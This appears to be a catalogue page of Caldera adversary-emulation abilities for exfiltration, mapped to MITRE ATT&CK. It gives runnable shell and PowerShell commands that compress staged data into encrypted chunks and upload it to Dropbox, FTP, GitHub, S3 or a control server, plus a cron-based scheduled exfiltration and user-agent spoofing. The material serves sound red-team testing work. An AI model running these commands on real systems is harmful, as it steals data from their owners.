Caldera emulation abilities
13 runnable adversary-emulation actions · command + platform · mapped to ATT&CK
All tactics
build-capabilities · 1 collection · 16 command-and-control · 6 credential-access · 10 defense-evasion · 15 detection · 8 discovery · 67 execution · 9 exfiltration · 13 hunt · 4 impact · 8 lateral-movement · 10 persistence · 3 privilege-escalation · 8 response · 14 setup · 10 technical-information-gathering · 1 training · 6 verification · 2
⚠
Abilities
13 shown of 13Compress Git Repository
This ability will compress a given git repository.
Show command
[{"platform": "linux", "executor": "sh", "command": "tar -czf #{host.dir.git}.tar.gz -C \"#{host.dir.git}\" .; printf #{host.dir.git}.tar.gz;\n"}, {"platform": "windows", "executor": "psh", "command": "tar -czf #{host.dir.git}.tar.gz -C #{host.dir.git} *; Write-Host #{host.dir.git}.tar.gz; exit 0;\n"}]Compress Staged Directory (Password Protected) and Split Into Smaller Chunks
This ability will compress the staged files into a password protected archive and break it
into smaller chunks based on the given byte size. The original archive will be automatically
deleted. Use this instead of other archiving abilities if small file sizes for exfiltration
are desired. When used with an exfiltration ability, the exfiltration ability will run numerous
times in an operation depending on how many chunks are created.
Show command
[{"platform": "linux", "executor": "sh", "command": "tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase '#{host.archive.password}' > #{host.dir.staged}.tar.gz.gpg;\nsplit -b#{file.size.chunk} '#{host.dir.staged}.tar.gz.gpg' '#{host.dir.staged}'/calderachunk;\nrm '#{host.dir.staged}.tar.gz.gpg';\nfind '#{host.dir.staged}' -maxdepth 1 -name 'calderachunk*' 2>/dev/null;\n"}, {"platform": "windows", "executor": "psh", "command": "& \"C:\\Program Files\\7-Zip\\7z.exe\" a \"#{host.dir.staged}.7z\" \"#{host.dir.staged}\\*\" '-p#{host.archive.password}' | Out-Null;\nsleep 2;\n$Archive = Get-Item -Path \"#{host.dir.staged}.7z\";\n$StageDir = \"#{host.dir.staged}\";\n$BaseName = $StageDir + \"\\calderachunk\";\n$UpperBound = [int32]\"#{file.size.chunk}\";\n$Content = [IO.File]::OpenRead($Archive);\n$buff = New-Object byte[] $UpperBound;\n$Bytes = $idx = 0;\ntry {\n do {\n $Bytes = $Content.Read($buff, 0, $buff.Length);\n if ($Bytes -gt 0) {\n $ChunkName = \"{0}{1}\" -f ($BaseName, $idx.ToString().PadLeft(3,'0'));\n $ChunkFile = [IO.File]::OpenWrite($ChunkName);\n try {\n $ChunkFile.Write($buff, 0, $Bytes);\n } finally {\n $ChunkFile.Close();\n }\n }\n $idx ++;\n } while ($Bytes -gt 0)\n}\nfinally {\n $Content.Close();\n}\nRemove-Item $Archive;\nGet-ChildItem -Path \"$StageDir\\calderachunk*\" | foreach {$_.FullName} | Select-Object;\n"}]
exfiltration
["darwin", "linux", "windows"]
T1560.001 · Archive Collected Data: Archive via Utility ↗
Compress staged directory
Compress a directory on the file system
Show command
[{"platform": "darwin", "executor": "sh", "command": "tar -P -zcf #{host.dir.staged}.tar.gz #{host.dir.staged} && echo #{host.dir.staged}.tar.gz\n"}, {"platform": "linux", "executor": "sh", "command": "tar -P -zcf #{host.dir.staged}.tar.gz #{host.dir.staged} && echo #{host.dir.staged}.tar.gz\n"}, {"platform": "windows", "executor": "psh,pwsh", "command": "Compress-Archive -Path #{host.dir.staged} -DestinationPath #{host.dir.staged}.zip -Force;\nsleep 1; ls #{host.dir.staged}.zip | foreach {$_.FullName} | select\n"}]Exfil Compressed Archive to Dropbox
This will exfiltrate an archive to Dropbox.
Show command
[{"platform": "windows", "executor": "psh", "command": "$SourceFile = (Get-Item #{host.dir.compress});\n$RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($SourceFile.name)\";\n$TargetFilePath = \"/#{dropbox.target.dir}/$RemoteName\";\n$ApiKey = \"#{dropbox.api.key}\";\n\n$url = \"https://content.dropboxapi.com/2/files/upload\";\n\n$file = [IO.File]::ReadAllBytes($SourceFile);\n[net.httpWebRequest] $req = [net.webRequest]::create($url);\n\n$arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }';\n$authorization = \"Bearer \" + $ApiKey;\n\n$req.method = \"POST\";\n$req.Headers.Add(\"Authorization\", $authorization);\n$req.Headers.Add(\"Dropbox-API-Arg\", $arg);\n$req.ContentType = 'application/octet-stream';\n$req.ContentLength = $file.length;\n$req.TimeOut = 50000;\n$req.KeepAlive = $true;\n$req.Headers.Add(\"Keep-Alive: 300\");\n$reqst = $req.getRequestStream();\n$reqst.write($file, 0, $file.length);\n$reqst.flush();\n$reqst.close();\n\n[net.httpWebResponse] $res = $req.getResponse();\n$resst = $res.getResponseStream();\n$sr = ne"}, {"platform": "linux", "executor": "sh", "command": "LocalFile='#{host.dir.compress}';\nRemoteName=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)\";\ncurl -X POST https://content.dropboxapi.com/2/files/upload\n --header \"Authorization: Bearer #{dropbox.api.key}\"\n --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"/#{dropbox.target.dir}/$RemoteName\\\",\\\"mode\\\": \\\"add\\\",\\\"autorename\\\": true,\\\"mute\\\": false,\\\"strict_conflict\\\": false}\"\n --header \"Content-Type: application/octet-stream\"\n --data-binary @#{host.dir.compress}\n"}]
exfiltration
["linux", "windows"]
T1048.003 · Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol ↗
Exfil Compressed Archive to FTP Server
This ability exfiltrates a compressed archive to an FTP server.
Show command
[{"platform": "linux", "executor": "sh", "command": "LocalFile='#{host.dir.compress}';\nRemoteName=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)\";\ncurl -T #{host.dir.compress} ftp://#{ftp.server.address}/$RemoteName --user #{ftp.user.name}:'#{ftp.user.password}'\n"}, {"platform": "windows", "executor": "psh", "command": "$SourceFile = (Get-Item #{host.dir.compress});\n$RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($SourceFile.name)\";\n$ftp = [System.Net.FtpWebRequest]::Create(\"ftp://#{ftp.server.address}/$RemoteName\");\n$ftp = [System.Net.FTPWebRequest]$ftp;\n$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile;\n$ftp.Credentials = New-Object System.Net.NetworkCredential(\"#{ftp.user.name}\", \"#{ftp.user.password}\");\n$ftp.UseBinary = $true;\n$ftp.UsePassive = $true;\n\n$content = [System.IO.File]::ReadAllBytes(\"#{host.dir.compress}\");\n$ftp.ContentLength = $content.Length;\n$requestStream = $ftp.GetRequestStream();\n$requestStream.Write($content, 0, $content.Length);\n\n$requestStream.Close();\n$requestStream.Dispose();\n"}]Exfil Compressed Archive to Github Gist
This ability exfiltrates a compressed archive to Github Gists (Base64 Encoded). To reconstitute, save
the base64 string from the Gist and run ----
(Powershell) [Convert]::FromBase64String($(Get-Content b64.txt)) | set-content archive.extension -encoding byte ----
(Linux) cat b64.txt | base64 -d > archive.extension
Show command
[{"platform": "linux", "executor": "sh", "command": "GHUser=\"#{github.user.name}\";\nGHPAT=\"#{github.access.token}\";\nFileContent=$(base64 #{host.dir.compress});\nLocalFile='#{host.dir.compress}';\nRemoteFile=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)\";\ntmp_file=$(mktemp);\necho \"{\\\"public\\\": false,\\\"files\\\": {\\\"$RemoteFile\\\": {\\\"content\\\": \\\"${FileContent}\\\"}}}\" > $tmp_file;\ncurl --silent --output /dev/null --show-error --fail -X POST -d @$tmp_file -u $GHUser:$GHPAT https://api.github.com/gists;\nrm $tmp_file\n"}, {"platform": "windows", "executor": "psh", "command": "$GHUser = \"#{github.user.name}\";\n$GHPAT = \"#{github.access.token}\";\n$File = Get-Item -Path \"#{host.dir.compress}\";\n$Token = $GHUser + \":\" + $GHPAT;\n$EncodedToken = [System.Convert]::ToBase64String([char[]]$Token);\n\n$RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-paw-$($File.name)\";\n$FileContent = [Convert]::ToBase64String([IO.File]::ReadAllBytes($File));\n\n$StringContent = @{\n files = @{$RemoteName = @{content = $FileContent}};\n public = $False;\n} | ConvertTo-Json;\n$URL = \"https://api.github.com/gists\";\n$Body = $StringContent;\n$Headers = @{\n \"content-type\" = \"application/json\";\n \"Authorization\" = 'Basic {0}' -f $EncodedToken;\n};\nInvoke-WebRequest -Uri $URL -Method POST -Body $Body -Headers $Headers 1>$null -UseBasicParsing;\n"}]Exfil Compressed Archive to Github Repository
This will exfiltrate a given compressed directory to a GitHub repository. It assumes that all the facts supplied are valid.
Show command
[{"platform": "linux", "executor": "sh", "command": "GHUser=\"#{github.user.name}\";\nGHRepo=\"#{github.repository.name}\";\nGHPAT=\"#{github.access.token}\";\nGHBranch='#{github.repository.branch}';\nLocalFile='#{host.dir.compress}';\nHeader=\"Authorization: token $GHPAT\";\nRemoteName=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename $LocalFile)\";\necho \"{\\\"message\\\":\\\"Committed $RemoteName\\\", \\\"branch\\\":\\\"$GHBranch\\\", \\\"content\\\":\\\"\" >/tmp/b64;\nbase64 -w 0 $LocalFile >>/tmp/b64;\necho \"\\\"}\" >>/tmp/b64;\ncontent=$(curl -s -X PUT -H \"Accept: application/vnd.github.v3+json\" -H \"$Header\" https://api.github.com/repos/$GHUser/$GHRepo/contents/$RemoteName -d @/tmp/b64);\nrm /tmp/b64;\n"}, {"platform": "windows", "executor": "psh,pwsh", "command": "$GHUser = \"#{github.user.name}\";\n$GHRepo = \"#{github.repository.name}\";\n$GHPAT = \"#{github.access.token}\";\n$GHBranch = '#{github.repository.branch}';\n$token = $GHUser + \":\" + $GHPAT;\n$basetoken = [System.Convert]::ToBase64String([char[]]$token);\n$Headers = @{\n Authorization = 'Basic {0}' -f $basetoken;\n};\n$file = (Get-Item #{host.dir.compress});\n$RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($file.name)\";\n$uri = \"https://api.github.com/repos/\" + $GHUser + \"/\" + $GHRepo + \"/contents/\" + $RemoteName;\n\n$FileBytes = Get-Content -Path $file.FullName -Encoding Byte;\n$Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes);\n$Body = @{\n path = $RemoteName;\n branch = $GHBranch;\n content = $Base64EncodedFileBytes;\n encoding = 'base64';\n message = \"Committed \" + $RemoteName;\n} | ConvertTo-Json;\ntry {\n $content = Invoke-RestMethod -Headers $Headers -Uri $uri -Body $Body -Method Put -ErrorAction SilentlyContinue;\n} catch {\n if ($PSItem -notmatch \""}]Exfil Compressed Archive to S3 via AWS CLI
Exfiltrate the compressed archive to the provided S3 bucket using the AWS CLI. It is assumed that the user
credentials configured with AWS CLI have the proper permissions to write to the target S3 bucket.
Show command
[{"platform": "linux", "executor": "sh", "command": "LocalFile='#{host.dir.compress}';\nRemoteName=\"exfil-#{paw}-$(basename $LocalFile)\";\naws s3 cp #{host.dir.compress} s3://#{s3.source.name}/$RemoteName;\n"}, {"platform": "windows", "executor": "psh", "command": "$SourceFile = (Get-Item #{host.dir.compress});\n$RemoteName = \"exfil-#{paw}-$($SourceFile.name)\";\naws s3 cp #{host.dir.compress} s3://#{s3.source.name}/$RemoteName;\n"}]Exfil Compressed Archive to S3 via Golang
Use the AWS SDK for GoLang to upload the compressed archive to the provided S3 bucket.
It is assumed that the current user credentials have the proper permissions to write to the target S3 bucket.
Requires the agent to be compiled with the native_aws extension.
Timeout set to 45 seconds.
Show command
[{"platform": "linux,windows,darwin", "executor": "native", "command": "s3upload \"#{host.dir.compress}\" \"#{s3.source.region}\" \"#{s3.source.name}\" \"aws-#{paw}-compressed\" 45s\n"}]Exfil Directory Files to GitHub
This ability will exfiltrate all files in a set staged directory to a repository in GitHub.
Show command
[{"platform": "linux", "executor": "sh", "command": "GHUser=\"#{github.user.name}\";\nGHRepo=\"#{github.repository.name}\";\nGHPAT=\"#{github.access.token}\";\nGHBranch='#{github.repository.branch}';\nLocalDirectory=#{host.dir.staged};\nHeader=\"Authorization: token $GHPAT\";\n\nfor file in $LocalDirectory/*.*; do\n TempName=$(echo $file | sed \"s/ /-/g\")\n\tRemoteName=\"$(date '+%Y%m%d%H%M%S')-exfil-#{paw}-$(basename \"$TempName\")\";\n\techo \"{\\\"message\\\":\\\"Committed $(basename $TempName) at: $(date)\\\", \\\"branch\\\":\\\"$GHBranch\\\", \\\"content\\\":\\\"\" >/tmp/b64;\n base64 -w 0 \"$file\" >>/tmp/b64;\n echo \"\\\"}\" >>/tmp/b64;\n\tcontent=$(curl -s -X PUT -H \"Accept: application/vnd.github.v3+json\" -H \"$Header\" https://api.github.com/repos/$GHUser/$GHRepo/contents/$RemoteName -d @/tmp/b64);\n rm /tmp/b64;\ndone;\n"}, {"platform": "windows", "executor": "psh,pwsh", "command": "$GHUser = \"#{github.user.name}\";\n$GHRepo = \"#{github.repository.name}\";\n$GHPAT = \"#{github.access.token}\";\n$GHBranch = '#{github.repository.branch}';\n$LocalDirectory = \"#{host.dir.staged}\";\n$token = $GHUser + \":\" + $GHPAT;\n$basetoken = [System.Convert]::ToBase64String([char[]]$token);\n$Headers = @{\n Authorization = 'Basic {0}' -f $basetoken;\n};\n\n$Files = Get-ChildItem $LocalDirectory;\nforeach ($file in $Files){\n $RemoteName = \"$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($file.name)\";\n $uri = \"https://api.github.com/repos/\" + $GHUser + \"/\" + $GHRepo + \"/contents/\" + $RemoteName;\n $FileBytes = Get-Content -Path $file.FullName -Encoding Byte;\n $Base64EncodedFileBytes = [System.Convert]::ToBase64String($FileBytes);\n $Body = @{\n path = $file.Name;\n branch = $GHBranch;\n content = $Base64EncodedFileBytes;\n encoding = 'base64';\n message = \"Committed \" + $file.name + \" at: \" + (Get-Date);\n } | ConvertTo-Json;\n try {\n $conte"}]Exfil staged directory
Exfil the staged directory
Show command
[{"platform": "darwin", "executor": "sh", "command": "curl -F \"data=@#{host.dir.compress}\" --header \"X-Request-ID: `hostname`-#{paw}\" #{server}/file/upload\n"}, {"platform": "linux", "executor": "sh", "command": "curl -F \"data=@#{host.dir.compress}\" --header \"X-Request-ID: `hostname`-#{paw}\" #{server}/file/upload\n"}, {"platform": "windows", "executor": "psh,pwsh", "command": "$ErrorActionPreference = 'Stop';\n$fieldName = \"#{host.dir.compress}\";\n$filePath = \"#{host.dir.compress}\";\n$url = \"#{server}/file/upload\";\n\nAdd-Type -AssemblyName 'System.Net.Http';\n\n$client = New-Object System.Net.Http.HttpClient;\n$content = New-Object System.Net.Http.MultipartFormDataContent;\n$fileStream = [System.IO.File]::OpenRead($filePath);\n$fileName = [System.IO.Path]::GetFileName($filePath);\n$fileContent = New-Object System.Net.Http.StreamContent($fileStream);\n$content.Add($fileContent, $fieldName, $fileName);\n$client.DefaultRequestHeaders.Add(\"X-Request-Id\", $env:COMPUTERNAME + '-#{paw}');\n$client.DefaultRequestHeaders.Add(\"User-Agent\",\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\");\n\n$result = $client.PostAsync($url, $content).Result;\n$result.EnsureSuccessStatusCode();\n"}]Scheduled Exfiltration
This ability exfiltrates the staged directory at a scheduled time.
Show command
[{"platform": "linux", "executor": "sh", "command": "crontab -l > /tmp/origcron;\ncrontab -l > /tmp/mycron;\necho \"0 12 * * * curl -F \"data=@#{host.dir.compress}\" --header \"X-Request-ID: `hostname`-#{paw}\" #{server}/file/upload\" >> /tmp/mycron;\ncrontab /tmp/mycron;\n"}, {"platform": "windows", "executor": "psh", "command": "$commandString = '$fieldName = \\\"#{host.dir.compress}\";\n$filePath = \\\"#{host.dir.compress}\";\n$url = \\\"#{server}/file/upload\\\";\nAdd-Type -AssemblyName \\\"System.Net.Http\\\";\n\n$client = New-Object System.Net.Http.HttpClient;\n$content = New-Object System.Net.Http.MultipartFormDataContent;\n$fileStream = [System.IO.File]::OpenRead($filePath);\n$fileName = [System.IO.Path]::GetFileName($filePath);\n$fileContent = New-Object System.Net.Http.StreamContent($fileStream);\n\n$xRequestIdHeader = \\\"X-Request-Id\\\";\n$xRequestIdField = $env:COMPUTERNAME + \\\"-#{paw}\\\";\n$content.Add($fileContent, $fieldName, $fileName);\n$client.DefaultRequestHeaders.Add($xRequestIdHeader, $xRequestIdField);\n\n$userAgentHeader = \\\"User-Agent\\\";\n$userAgentField = \\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\\\";\n$client.DefaultRequestHeaders.Add($userAgentHeader, $userAgentField);\n$result = $client.PostAsync($url, $content).Result;$result.EnsureSuccessStatusC"}]Transfer Compressed Archive to Separate S3 Bucket via AWS CLI
Transfer the compressed archive from one S3 bucket to another S3 bucket via AWS CLI. It is assumed that the proper
policies and security rules are in place to allow reading from the source bucket and writing to the destination
bucket.
Show command
[{"platform": "linux", "executor": "sh", "command": "LocalFile='#{host.dir.compress}';\nRemoteName=\"exfil-#{paw}-$(basename $LocalFile)\";\naws s3 cp s3://#{s3.source.name}/$RemoteName s3://#{s3.destination.name} --acl bucket-owner-full-control;\n"}, {"platform": "windows", "executor": "psh", "command": "$SourceFile = (Get-Item #{host.dir.compress});\n$RemoteName = \"exfil-#{paw}-$($SourceFile.name)\";\naws s3 cp s3://#{s3.source.name}/$RemoteName s3://#{s3.destination.name} --acl bucket-owner-full-control;\n"}]Showing 1-13 of 13